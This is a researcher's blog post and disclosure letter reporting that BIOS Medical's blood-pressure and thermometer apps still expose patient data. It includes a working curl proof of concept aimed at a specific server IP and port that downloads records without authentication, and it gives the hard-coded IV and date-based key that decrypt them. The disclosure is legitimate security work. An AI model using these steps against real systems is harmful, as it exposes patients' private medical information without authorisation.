It's been 3 months since the initial post about the exposure of customer data by BIOS Medical / Thermor LLC on thier Bluetooth Blood Pressure, and Ear Thermometers.
And the #1 rule of writing secure applications is.. NEVER ROLL YOUR OWN CRYPTO.. `
Why won't people learn that...
On May 18th and May 22nd 2018 BIOS Medical finally "upgraded" their applications and servers to provide "above average security protocols" as communicated from Mr. Mark Beaton on Jan 25th 2018.
Unfortunately for Mr. Beaton, his understanding of the true level of security within their new applications was obvious by the amount of time it took to identify and break the new encryption within their applications. (It took less than one hour).
As confirmed by an analysis of their software on May 22nd.
API Endpoints relating to downloading customer data were:
- Traffic between the mobile device and the server still did not use SSL
- Still non-authenticated
- Still iterable based on userid
- Data retrieved was poorly encrypted.
The Home-Grown encryption used was easily broken by looking at the algorithm used on the mobile device to retrieve the data from the server.
The customer data was viewable using the following steps:
- Retrieve the data via the non-authenticated endpoint by iterating through the incrementing userid.
- decode the data using Base64 decoding (Resulting file if AES 128 bit CBC encrypted)
- Using the Initialization Vector of "16-Bytes—String" which was stored plain text in the mobile application
- Using the key of YYYYMMMDD + "_kawinse" which was determined by looking at the mobile application.
**The End result is still the same in that anyone can iterate through the entire user base and download confidential information. **
The following communications was sent to Mr Beaton on May 22nd 2018, to which no response was received.
May 22nd 2018
Mark Beaton:
I am writing you today, to make you aware of the continued problems with your BP Toolbox and Precision Temp Fever App software, and the insecurities in the software which continue to make it possible to expose the medical information of the users of your products. Note that these exposures exist in the most recent version of your software, even after adding additional security measures.
Based on an initial analysis of the recent changes in your software, there are previously identified serious flaws in the software which have not been fixed, and the recent addition of flawed encryption provides no additional effective security to protect the patient data.
Within 1 hour of downloading the new software I was able to:
- Confirm the ability to download any patient data in the system by the use of an non-authenticated API (as documented in previous disclosure)
- Easily identify the system wide encryption key used, that is based on the current date, and a hard coded string within the mobile application.
- Decrypt and view the patient data
On Jan 25th 2018 in an email, you had identified that:
"On your advice we have taken steps to improve security and addressed the encryption issue. We believe our server has above average security protocols, but I also recognize this is a moving target. We appreciate your interest, and thanks again for bringing it to our attention."
Post Jan 25th 2018, I had made several attempts to follow up with you regarding the continued exposure of my information in the product, which you had still not fixed yet with no success. No response was received after several attempts to contact you.
After failing to get any response from yourself, I filed a complaint with both Health Canada, and The Office of the Privacy Commissioner of Canada about the failure to fix the exposure in a timely manor.
On May 15th 2018, when a "fix" was finally made to the application, I was hopeful that the problem was resolved, however it was easily determined not to be the case. Your "above average security protocol" has proven to be far from the level of security provided by available industry standards.
This letter is to make you aware of the continued problems with your applications, and the contained technical details which will be provided to both Health Canada, and The Privacy Commissioner as an update to my initial complaint.
Darryl Burke
Burke Consulting
Security Flaw Details:
2 separate issues have been found with the architecture / implementation of the BD245 / B.P. Toolkit software, which allows for the exposure of private patient data, as well as the unauthenticated download of records of arbitrary patients on your back-end server.
Unauthenticated Download of Patent data
As identified in the previous disclosure, the unauthenticated download of patient data is still possible. While the data may be "encrypted", the fact that any data at all is provided leads to the ability for 3rd parties to easily decrypt the data.
Client Request
POST /kawinsemp/struts/normal/normal_downloadRecord.do HTTP/1.1
Content-Length: 284
Content-Type: multipart/form-data; boundary=14vE_WwZnuklZQ4XXa9FlCrQjZlFY1UVZHhe4U1
Host: 192.169.201.66:8680
Connection: Keep-Alive
--14vE_WwZnuklZQ4XXa9FlCrQjZlFY1UVZHhe4U1
Content-Disposition: form-data; name="param"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
{"fromrec":0,"torec":20,"ucode":"register20171114143114790","userno":""}
--14vE_WwZnuklZQ4XXa9FlCrQjZlFY1UVZHhe4U1--
Server Response
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Sun, 26 Nov 2017 00:56:05 GMT
seOsNa1qPpO41RvgRel8wcOrZDmAU6AN7iV27Af4rRF1uEIg6bsKPLtvXqiLfnrSHLfpbeZ5dtob
xIxN/7PShDYzIbkKGTev0Tg7dJej8RkVOWZTbIbdaA9yFxmWpPfZA3QUyy1rdW71KpnlBM29hQJ/
goHign8AjEa9qhpwesKMf9Uzuc4kbagogKiGe2ps7MGeC2vZidM2++erMwsRkWqWtPFgl2DoY8JJ
7MFa6FzA4WTzYd/9uCB2LbLfkuQnr0qCT+gPKth7AM3JhVb3Y9lsGqODenJoLNFI1qgQHhg+LmQK
+bdBBvesQDef2OYYXR0oMOXoUAQ73lsmNGlhXwJoERJSWOpaOaIMBj+wOkMjZ1j+MeSoEJ/fHo2g
D3Pm1S0C8btnMj2V/vTUkcxeg717mohWpVFVZF3fjrfk/rlU3MOW2jxX7qqn5xgb9v52x1i3VMVG
B6fkO2OH1/awsDxYmAzWwiEHV4VD7Ry6aoVuJv5Nnt8kDl0ty1YFHyB52NZmCmXvg9f8pV/76rLa
S618mbsmRhInbCDgkqSZjK15E396oAD9/UFwAf7Ai/hGNbxS+W9YFyIpBEZiIV3bNdpMuJtMSYer
qPWCB1CV3iPHZ7ChWNbVmuNL82wDEQFxB/5E/VYtFvWtUm5dvbhfrxIlbhLi92kKkOnC7fntFHM7
IVLi8JgBpjaWS9d2QN5i3FHoD0okq15UBPtg7y+XRBGh6EYFQf2X/PTcZjBjHr9iQ9cughwU0KJQ
3BGpgC6JRCj0z0ukGWhoPJZna0ETySURl2inDb8Or9THNhwJM3/yfAdy0liEh7GcjpfzJA8RUD9O
QGkWjNSvt2xO1fDNVdV+0a6Ng3A+QVCaVNEOOwwmVhMqPT0wkE8LEoV3npju/kriwVVnKrsng0bc
qcrIJ+mKO4O+JFCX/5twatnQ5YJsAlDELesR01RQpbbBVcI7QO96l1HKgoiP6EyW6HYsfoE4m1Wx
ZHMXzgYTIkOBv8n/7UEiY64UIKI0yimFP56i/x9gNGnePpSYmV3SWO2ZurCmN6y1KktH6+uS2IBy
..
..
Analysis
- The "data" is sent in plain text to the server listening on port 8680, and does not use industry standard encryption such as SSL.
- The request is not authenticated or tied to the previous account authentication, as such, guessing the "key" can provide access to other patient data on the system.
- The requests use a simple date based format key to identify patients, which can be "guessed" by sequentially looping through possible keys to identify other patients and download their data.
- While the response data is "encrypted" and base64 encoded, proper software design and standards would dictate that this information should not be accessible at all, regardless of the "encrypted" nature or not.
Proof of concept:
The following command can used used on any linux based machine to demonstrate the exposure of the patient B.P. data: (Note Usernames and Passwords are not required to obtain the data)
curl --header Accept: --header User-Agent: --header Expect: --header "Connection: Keep-Alive" --form 'param={"fromrec":0,"torec":40,"ucode":"register20171114143114790","userno":""}' http://192.169.201.66:8680/kawinsemp/struts/normal/normal_downloadRecord.do
Use of inadequate "encryption" to protect patient data.
Once a data file has been obtained in the steps listed above, it can be easily determined that the file does not use unique encryption keys (keys that change per user, or are based on user password) and once a format and password can be determined for the file, that any users data can be decrypted using the same "key".
Analysis
- The initial file is in base64 encoded format
- Once decoded, the resulting file is AES 128 bit CBC encrypted.
- The Initialization Vector used, and the key can be easily determined by looking at the mobile application.
- The IV used is the string "16-Bytes—String"
- The key used is a combination of todays date in YYYYMMMDD format and a static string of "_kawinse"
- Using steps 1-6 the data can be easily decrypted to obtain the originally formatted json string.
Summary
There are 2 basic industry design standards which you have chosen not to implement, which when combined, does not realistically provide additional security beyond the initial issues noted with your application.
There is an important difference between the design you have chosen, which is:
• Using a non-encrypted socket to transfer an block of base64 "home grown" encrypted data.
Compared to using:
• an industry standard encrypted network protocol which inherently protects all data is passes back and forth with unique non-guessable keys.